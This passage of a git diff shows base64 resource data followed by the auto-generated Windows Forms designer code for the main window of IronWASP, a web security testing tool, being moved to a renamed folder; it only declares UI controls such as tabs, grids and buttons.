78cgtIEIQPj8DbjSw+9egRT5CB4RgMCxHngU6RYT6UdKfOUCEYB8cCfw6xR/7zLMzj8hcEQAcoD1xKNJ + p5jIaqTEV24QAcgPaRUTOR9z6k/IASIAOcF65DHAygR/ZgUwRrx/fhAByBHVcnEJyWbj6a2Wiw/5vk8h + PkQA8kcPyRQTkSIfOUQEIGdUy8VHgV8m0PU0KfKRP0QA8skk4NkY+1uGKVAi5AwRgBxSLRefAabG2OUU + KfKRT0QA8svPiaeYyOOYwiRCDhEByCm2mMjEGLqSIh85RgQg35wDPNLG96XIR84RAcgx1XLxZWBsG11I + kY+cIwKQf2YCD7TwvfuB2b6NF5JFBCDnVMvFVbRWTOQ0+10hx4gAdAYX01wxkbuAub6NFpJHBKADsMVE + RjfxldFS5KMzEAHoHH5DY8VEbgfm+TZWSAcRgA6hwWIiAxjvL2m+OwQRgM7iKuCmOu03AFf7NlJIDxGA + DmJQGvEoDz8AjBLv31ls4tsAIXWuA7aPuH4T8JRv4wRBEARBEARBEARBEARBEARBEARBEARBEARBEARB + EARBEARBEARBEIQI/h+hEP2A1kjQfgAAAABJRU5ErkJggg== + + + \ No newline at end of file diff --git a/IronWASP/Main.Designer.cs b/Iron/Main.Designer.cs similarity index 89% rename from IronWASP/Main.Designer.cs rename to Iron/Main.Designer.cs index 44e2c7a..75b7963 100644 --- a/IronWASP/Main.Designer.cs +++ b/Iron/Main.Designer.cs @@ -1,10724 +1,11793 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class Main - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main)); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle10 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle11 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle12 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle13 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle14 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle15 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle16 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle17 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle18 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle19 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle20 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle21 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle22 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle23 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle24 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle25 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle26 = new System.Windows.Forms.DataGridViewCellStyle(); - this.split_main = new System.Windows.Forms.SplitContainer(); - this.IronTree = new System.Windows.Forms.TreeView(); - this.IronTreeMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); - this.ScanBranchToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.RunModulesOnFindingToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.RunModulesOnUrlToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.main_tab = new System.Windows.Forms.TabControl(); - this.mt_console = new System.Windows.Forms.TabPage(); - this.ScanJobsCompletedLbl = new System.Windows.Forms.Label(); - this.ScanJobsCreatedLbl = new System.Windows.Forms.Label(); - this.CrawlerRequestsLbl = new System.Windows.Forms.Label(); - this.ConsoleStatusTB = new System.Windows.Forms.TextBox(); - this.label30 = new System.Windows.Forms.Label(); - this.ConsoleStartScanBtn = new System.Windows.Forms.Button(); - this.richTextBox2 = new System.Windows.Forms.RichTextBox(); - this.label29 = new System.Windows.Forms.Label(); - this.ConsoleScanUrlTB = new System.Windows.Forms.TextBox(); - this.mt_auto = new System.Windows.Forms.TabPage(); - this.ASMainTabs = new System.Windows.Forms.TabControl(); - this.ASConfigureTab = new System.Windows.Forms.TabPage(); - this.ScanJobsBaseSplit = new System.Windows.Forms.SplitContainer(); - this.ScanDisplayPanel = new System.Windows.Forms.Panel(); - this.ASBaseTabs = new System.Windows.Forms.TabControl(); - this.ASRequestTab = new System.Windows.Forms.TabPage(); - this.ScanJobsTopSplit = new System.Windows.Forms.SplitContainer(); - this.ASRequestScanFullTabs = new System.Windows.Forms.TabControl(); - this.tabPage20 = new System.Windows.Forms.TabPage(); - this.ASRequestRawHeadersIDV = new IronDataView.IronDataView(); - this.tabPage21 = new System.Windows.Forms.TabPage(); - this.ASRequestRawBodyIDV = new IronDataView.IronDataView(); - this.ASRequestScanBodyCB = new System.Windows.Forms.CheckBox(); - this.ASRequestScanParameterNamesCB = new System.Windows.Forms.CheckBox(); - this.ASRequestScanAllCB = new System.Windows.Forms.CheckBox(); - this.ASRequestScanHeadersCB = new System.Windows.Forms.CheckBox(); - this.ASRequestScanQueryCB = new System.Windows.Forms.CheckBox(); - this.ASRequestScanCookieCB = new System.Windows.Forms.CheckBox(); - this.ASRequestScanURLCB = new System.Windows.Forms.CheckBox(); - this.ASInjectHeaderLbl = new System.Windows.Forms.Label(); - this.ASInjectionPointTab = new System.Windows.Forms.TabPage(); - this.ASRequestTabs = new System.Windows.Forms.TabControl(); - this.ASRequestURLTab = new System.Windows.Forms.TabPage(); - this.ASRequestScanURLGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestURLSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestURLPositionColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestURLValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestQueryTab = new System.Windows.Forms.TabPage(); - this.ASRequestScanQueryGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestQuerySelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestQueryNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestQueryValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestBodyTab = new System.Windows.Forms.TabPage(); - this.ASBodyInjectTypeTabs = new System.Windows.Forms.TabControl(); - this.ASBodyTypeNormalTab = new System.Windows.Forms.TabPage(); - this.ASRequestScanBodyTypeNormalGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn15 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn16 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASBodyTypeFormatPluginTab = new System.Windows.Forms.TabPage(); - this.ASRequestBodyTabSplit = new System.Windows.Forms.SplitContainer(); - this.ConfigureScanRequestFormatPluginsGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestBodyDataFormatSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestBodyDataFormatColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestScanBodyTabs = new System.Windows.Forms.TabControl(); - this.ASRequestScanBodyGridTab = new System.Windows.Forms.TabPage(); - this.ConfigureScanRequestBodyTypeFormatPluginGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestBodySelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestBodyNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestBodyValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestScanBodyXMLTab = new System.Windows.Forms.TabPage(); - this.ConfigureScanRequestFormatXMLTB = new System.Windows.Forms.TextBox(); - this.ASBodyTypeCustomTab = new System.Windows.Forms.TabPage(); - this.ASRequestCustomInjectionPointsHighlightTB = new System.Windows.Forms.RichTextBox(); - this.ASRequestCustomInjectionPointsHighlightLbl = new System.Windows.Forms.Label(); - this.label37 = new System.Windows.Forms.Label(); - this.ASCustomEndMarkerTB = new System.Windows.Forms.TextBox(); - this.ASCustomStartMarkerTB = new System.Windows.Forms.TextBox(); - this.label38 = new System.Windows.Forms.Label(); - this.label39 = new System.Windows.Forms.Label(); - this.ASRequestCookieTab = new System.Windows.Forms.TabPage(); - this.ASRequestScanCookieGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestCookieSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestCookieNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestCookieValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestHeadersTab = new System.Windows.Forms.TabPage(); - this.ASRequestScanHeadersGrid = new System.Windows.Forms.DataGridView(); - this.ASRequestHeadersSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ASRequestHeadersNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestHeadersValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASRequestParameterNamesTab = new System.Windows.Forms.TabPage(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.ASRequestScanHeadersParameterNameCB = new System.Windows.Forms.CheckBox(); - this.ASRequestScanCookieParameterNameCB = new System.Windows.Forms.CheckBox(); - this.ASRequestScanBodyParameterNameCB = new System.Windows.Forms.CheckBox(); - this.ASRequestScanQueryParameterNameCB = new System.Windows.Forms.CheckBox(); - this.ASExceptionTB = new System.Windows.Forms.TextBox(); - this.SessionPluginLbl = new System.Windows.Forms.Label(); - this.ASScanPluginsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn27 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ConfigureScanRequestSSLCB = new System.Windows.Forms.CheckBox(); - this.ScanStatusLbl = new System.Windows.Forms.Label(); - this.ASClearScanBtn = new System.Windows.Forms.Button(); - this.ScanIDLbl = new System.Windows.Forms.Label(); - this.ASStartScanBtn = new System.Windows.Forms.Button(); - this.ScanTopPanel = new System.Windows.Forms.Panel(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.ScanJobsBottomSplit = new System.Windows.Forms.SplitContainer(); - this.ASQueueGrid = new System.Windows.Forms.DataGridView(); - this.ASQueueGridScanID = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASQueueGridStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASQueueGridMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ASQueueGridURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanQueueMenu = new System.Windows.Forms.ContextMenuStrip(this.components); - this.StartAllStoppedAndAbortedScansToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.StopAllScansToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.StopThisScanJobToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.panel2 = new System.Windows.Forms.Panel(); - this.ASStartAllStoppedAndAbortedScansLL = new System.Windows.Forms.LinkLabel(); - this.ConfigScannerThreadMaxCountLbl = new System.Windows.Forms.Label(); - this.ConfigScannerSettingsCancelChangesLL = new System.Windows.Forms.LinkLabel(); - this.ASStopAllScansLL = new System.Windows.Forms.LinkLabel(); - this.ConfigScannerSettingsApplyChangesLL = new System.Windows.Forms.LinkLabel(); - this.label31 = new System.Windows.Forms.Label(); - this.ConfigScannerThreadMaxCountTB = new System.Windows.Forms.TrackBar(); - this.ASTraceTab = new System.Windows.Forms.TabPage(); - this.ScanTraceBaseSplit = new System.Windows.Forms.SplitContainer(); - this.ScanTraceTopSplit = new System.Windows.Forms.SplitContainer(); - this.LaunchPayloadEffectAnalyzerBtn = new System.Windows.Forms.Button(); - this.ScanTraceStatusLbl = new System.Windows.Forms.Label(); - this.ScanTraceBackFourBtn = new System.Windows.Forms.Button(); - this.ScanTraceStatLbl = new System.Windows.Forms.Label(); - this.ScanTraceBackTwoBtn = new System.Windows.Forms.Button(); - this.ScanTraceFrontFourBtn = new System.Windows.Forms.Button(); - this.ScanTraceFrontOneBtn = new System.Windows.Forms.Button(); - this.ScanTraceBackOneBtn = new System.Windows.Forms.Button(); - this.ScanTraceBackThreeBtn = new System.Windows.Forms.Button(); - this.ScanTraceFrontThreeBtn = new System.Windows.Forms.Button(); - this.ScanTraceFrontTwoBtn = new System.Windows.Forms.Button(); - this.ScanTraceGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn32 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn35 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn36 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn37 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanTraceBottomSplit = new System.Windows.Forms.SplitContainer(); - this.label4 = new System.Windows.Forms.Label(); - this.LoadSelectedTraceBtn = new System.Windows.Forms.Button(); - this.ScanTraceTabs = new System.Windows.Forms.TabControl(); - this.ScanTraceOverviewTab = new System.Windows.Forms.TabPage(); - this.ScanTraceOverviewGrid = new System.Windows.Forms.DataGridView(); - this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn17 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn18 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn19 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn20 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn21 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn22 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanTraceDetailedInfoTab = new System.Windows.Forms.TabPage(); - this.ScanTraceMsgRTB = new System.Windows.Forms.RichTextBox(); - this.mt_manual = new System.Windows.Forms.TabPage(); - this.MTFirstBaseSplit = new System.Windows.Forms.SplitContainer(); - this.MTBaseTopSplit = new System.Windows.Forms.SplitContainer(); - this.CreateNewTestRequestBtn = new System.Windows.Forms.Button(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.TestGroupsLV = new System.Windows.Forms.ListView(); - this.TestGroupsTitleTB = new System.Windows.Forms.TextBox(); - this.MTBaseSplit = new System.Windows.Forms.SplitContainer(); - this.TestBaseRequestSplit = new System.Windows.Forms.SplitContainer(); - this.TestUpdateFromCookieStoreLL = new System.Windows.Forms.LinkLabel(); - this.NextTestLog = new System.Windows.Forms.Button(); - this.MTExceptionTB = new System.Windows.Forms.TextBox(); - this.MTDeleteGroupLL = new System.Windows.Forms.LinkLabel(); - this.TestIDLbl = new System.Windows.Forms.Label(); - this.MTCurrentGroupNameTB = new System.Windows.Forms.TextBox(); - this.PreviousTestLog = new System.Windows.Forms.Button(); - this.MTRenameGroupLL = new System.Windows.Forms.LinkLabel(); - this.label36 = new System.Windows.Forms.Label(); - this.label40 = new System.Windows.Forms.Label(); - this.MTMaximizeRequestViewBtn = new System.Windows.Forms.Button(); - this.LogMenu = new System.Windows.Forms.ContextMenuStrip(this.components); - this.SelectForManualTestingToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.SelectForAutomatedScanningToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.SelectResponseForJavaScriptTestingToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.CopyRequestToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.CopyResponseToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.RunModulesOnRequestResponseToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.TestRequestView = new IronWASP.RequestView(); - this.panel4 = new System.Windows.Forms.Panel(); - this.TestAdvancedOptionsHelpLL = new System.Windows.Forms.LinkLabel(); - this.MTStoredRequestBtn = new System.Windows.Forms.Button(); - this.MTScriptedSendBtn = new System.Windows.Forms.Button(); - this.label41 = new System.Windows.Forms.Label(); - this.MTSendBtn = new System.Windows.Forms.Button(); - this.MTResponseSideTabs = new System.Windows.Forms.TabControl(); - this.MTResponseTab = new System.Windows.Forms.TabPage(); - this.MTMaximizeResponseViewBtn = new System.Windows.Forms.Button(); - this.TestUpdateCookieStoreLL = new System.Windows.Forms.LinkLabel(); - this.TestResponseView = new IronWASP.ResponseView(); - this.MTGetRedirectBtn = new System.Windows.Forms.Button(); - this.MTFollowRedirectBtn = new System.Windows.Forms.Button(); - this.MTGroupHistoryTab = new System.Windows.Forms.TabPage(); - this.TestGroupHistoryBaseSplit = new System.Windows.Forms.SplitContainer(); - this.label6 = new System.Windows.Forms.Label(); - this.TestGroupHistoryDoDiffBtn = new System.Windows.Forms.Button(); - this.TestGroupLogGrid = new System.Windows.Forms.DataGridView(); - this.TestGroupLogGridForSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.TestGroupLogGridForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TestGroupLogGridForHost = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TestGroupLogGridForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TestGroupLogGridForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TestGroupLogGridForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.TestGroupLogGridForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TestGroupLogGridForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TestGroupLogGridForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TestGroupLogGridForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.MTHelp = new System.Windows.Forms.TabPage(); - this.MTHelpTB = new System.Windows.Forms.TextBox(); - this.mt_scripting = new System.Windows.Forms.TabPage(); - this.ScriptingShellSplit = new System.Windows.Forms.SplitContainer(); - this.panel3 = new System.Windows.Forms.Panel(); - this.textBox5 = new System.Windows.Forms.TextBox(); - this.ShowScriptCreationAssistantBtn = new System.Windows.Forms.Button(); - this.ClearShellDisplayBtn = new System.Windows.Forms.Button(); - this.MultiLineShellExecuteBtn = new System.Windows.Forms.Button(); - this.InteractiveShellCtrlCBtn = new System.Windows.Forms.Button(); - this.ScriptingShellTabs = new System.Windows.Forms.TabControl(); - this.InteractiveShellTP = new System.Windows.Forms.TabPage(); - this.ShellInPanel = new System.Windows.Forms.Panel(); - this.InteractiveShellPromptBox = new System.Windows.Forms.TextBox(); - this.InteractiveShellIn = new System.Windows.Forms.TextBox(); - this.InteractiveShellOut = new System.Windows.Forms.TextBox(); - this.MultiLineShellTP = new System.Windows.Forms.TabPage(); - this.MultiLineShellInTE = new ICSharpCode.TextEditor.TextEditorControl(); - this.ScriptedSendTP = new System.Windows.Forms.TabPage(); - this.ShowScriptedSendTemplateLL = new System.Windows.Forms.LinkLabel(); - this.CustomSendErrorTB = new System.Windows.Forms.TextBox(); - this.CustomSendTE = new ICSharpCode.TextEditor.TextEditorControl(); - this.CustomSendBottomRtb = new System.Windows.Forms.RichTextBox(); - this.CustomSendTopRtb = new System.Windows.Forms.RichTextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.CustomSendActivateCB = new System.Windows.Forms.CheckBox(); - this.CustomSendRubyRB = new System.Windows.Forms.RadioButton(); - this.CustomSendPythonRB = new System.Windows.Forms.RadioButton(); - this.ScriptingHelpTP = new System.Windows.Forms.TabPage(); - this.ScriptingHelpTB = new System.Windows.Forms.TextBox(); - this.InteractiveShellRubyRB = new System.Windows.Forms.RadioButton(); - this.label2 = new System.Windows.Forms.Label(); - this.InteractiveShellPythonRB = new System.Windows.Forms.RadioButton(); - this.ScriptingShellAPISplit = new System.Windows.Forms.SplitContainer(); - this.ScriptingShellAPITreeTabs = new System.Windows.Forms.TabControl(); - this.ScriptingShellAPITreePythonTab = new System.Windows.Forms.TabPage(); - this.ScriptingShellPythonAPITree = new System.Windows.Forms.TreeView(); - this.ScriptingShellAPITreeRubyTab = new System.Windows.Forms.TabPage(); - this.ScriptingShellRubyAPITree = new System.Windows.Forms.TreeView(); - this.ShellAPIDetailsRTB = new System.Windows.Forms.RichTextBox(); - this.mt_proxy = new System.Windows.Forms.TabPage(); - this.ProxyBaseSplit = new System.Windows.Forms.SplitContainer(); - this.ProxyLoopbackLbl = new System.Windows.Forms.Label(); - this.label33 = new System.Windows.Forms.Label(); - this.ProxyPortLbl = new System.Windows.Forms.Label(); - this.ViewProxyInterceptionConfigLink = new System.Windows.Forms.LinkLabel(); - this.label3 = new System.Windows.Forms.Label(); - this.ProxyExceptionTB = new System.Windows.Forms.TextBox(); - this.ConfigSetAsSystemProxyCB = new System.Windows.Forms.CheckBox(); - this.ProxyOptionsBtn = new System.Windows.Forms.Button(); - this.InterceptRequestCB = new System.Windows.Forms.CheckBox(); - this.ProxyDropBtn = new System.Windows.Forms.Button(); - this.InterceptResponseCB = new System.Windows.Forms.CheckBox(); - this.label7 = new System.Windows.Forms.Label(); - this.ViewProxyLogLink = new System.Windows.Forms.LinkLabel(); - this.ProxySendBtn = new System.Windows.Forms.Button(); - this.ProxyBottomPanel = new System.Windows.Forms.Panel(); - this.ProxyInterceptTabs = new System.Windows.Forms.TabControl(); - this.ProxyInterceptRequestTab = new System.Windows.Forms.TabPage(); - this.ProxyRequestView = new IronWASP.RequestView(); - this.ProxyInterceptResponseTab = new System.Windows.Forms.TabPage(); - this.ProxyResponseView = new IronWASP.ResponseView(); - this.ProxyScriptedInterceptTab = new System.Windows.Forms.TabPage(); - this.ScriptedInterceptionBaseSplit = new System.Windows.Forms.SplitContainer(); - this.panel5 = new System.Windows.Forms.Panel(); - this.textBox6 = new System.Windows.Forms.TextBox(); - this.ShowScriptedInterceptionTemplateLL = new System.Windows.Forms.LinkLabel(); - this.ScriptedInterceptionScriptTopRTB = new System.Windows.Forms.RichTextBox(); - this.ScriptedInterceptionActivateScriptCB = new System.Windows.Forms.CheckBox(); - this.ScriptedInterceptionPythonRB = new System.Windows.Forms.RadioButton(); - this.ScriptedInterceptionRubyRB = new System.Windows.Forms.RadioButton(); - this.label42 = new System.Windows.Forms.Label(); - this.ScriptedInterceptionBottomSplit = new System.Windows.Forms.SplitContainer(); - this.ScriptedInterceptionCTB = new IronWASP.CodeTextBox(); - this.ScriptedInterceptionScriptBottomRTB = new System.Windows.Forms.RichTextBox(); - this.ScriptedInterceptionErrorTB = new System.Windows.Forms.TextBox(); - this.ProxyHelpTab = new System.Windows.Forms.TabPage(); - this.ProxyHelpTB = new System.Windows.Forms.TextBox(); - this.mt_logs = new System.Windows.Forms.TabPage(); - this.LogBaseSplit = new System.Windows.Forms.SplitContainer(); - this.LogsTopSplit = new System.Windows.Forms.SplitContainer(); - this.ShowLogGridBtn = new System.Windows.Forms.Button(); - this.StartLogAnalyzerBtn = new System.Windows.Forms.Button(); - this.PreviousLogBtn = new System.Windows.Forms.Button(); - this.LogOptionsBtn = new System.Windows.Forms.Button(); - this.ProxyShowOriginalRequestCB = new System.Windows.Forms.CheckBox(); - this.LogIDLbl = new System.Windows.Forms.Label(); - this.ProxyShowOriginalResponseCB = new System.Windows.Forms.CheckBox(); - this.LogSourceLbl = new System.Windows.Forms.Label(); - this.NextLogBtn = new System.Windows.Forms.Button(); - this.LogStatusTB = new System.Windows.Forms.TextBox(); - this.LogDisplayTabs = new System.Windows.Forms.TabControl(); - this.tabPage7 = new System.Windows.Forms.TabPage(); - this.LogRequestView = new IronWASP.RequestView(); - this.tabPage29 = new System.Windows.Forms.TabPage(); - this.LogResponseView = new IronWASP.ResponseView(); - this.tabPage1 = new System.Windows.Forms.TabPage(); - this.LogsHelpTB = new System.Windows.Forms.TextBox(); - this.LogsBottomSplit = new System.Windows.Forms.SplitContainer(); - this.label28 = new System.Windows.Forms.Label(); - this.ViewProxyDisplayFilterLink = new System.Windows.Forms.LinkLabel(); - this.MainLogStatusLbl = new System.Windows.Forms.Label(); - this.MainLogFrontThreeBtn = new System.Windows.Forms.Button(); - this.MainLogStatLbl = new System.Windows.Forms.Label(); - this.MainLogBackTwoBtn = new System.Windows.Forms.Button(); - this.MainLogFrontFourBtn = new System.Windows.Forms.Button(); - this.MainLogFrontOneBtn = new System.Windows.Forms.Button(); - this.MainLogBackOneBtn = new System.Windows.Forms.Button(); - this.MainLogBackThreeBtn = new System.Windows.Forms.Button(); - this.MainLogFrontTwoBtn = new System.Windows.Forms.Button(); - this.MainLogBackFourBtn = new System.Windows.Forms.Button(); - this.LogTabs = new System.Windows.Forms.TabControl(); - this.ProxyLogTab = new System.Windows.Forms.TabPage(); - this.ProxyLogGrid = new System.Windows.Forms.DataGridView(); - this.ProxyLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProxyLogGridColumnForHostName = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProxyLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProxyLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProxyLogGridColumnForFile = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProxyLogGridColumnForSSL = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ProxyLogGridColumnForParameters = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProxyLogGridColumnForCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProxyLogGridColumnForLength = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProxyLogGridColumnForMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ProxyLogGridColumnForSetCookie = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ProxyLogGridColumnForEdited = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.ProxyLogGridColumnForNotes = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogTab = new System.Windows.Forms.TabPage(); - this.ScanLogGrid = new System.Windows.Forms.DataGridView(); - this.ScanLogGridColumnForID = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogGridColumnForScanID = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogGridColumnForHost = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogGridColumnForMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogGridColumnForURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanLogGridColumnForFile = new 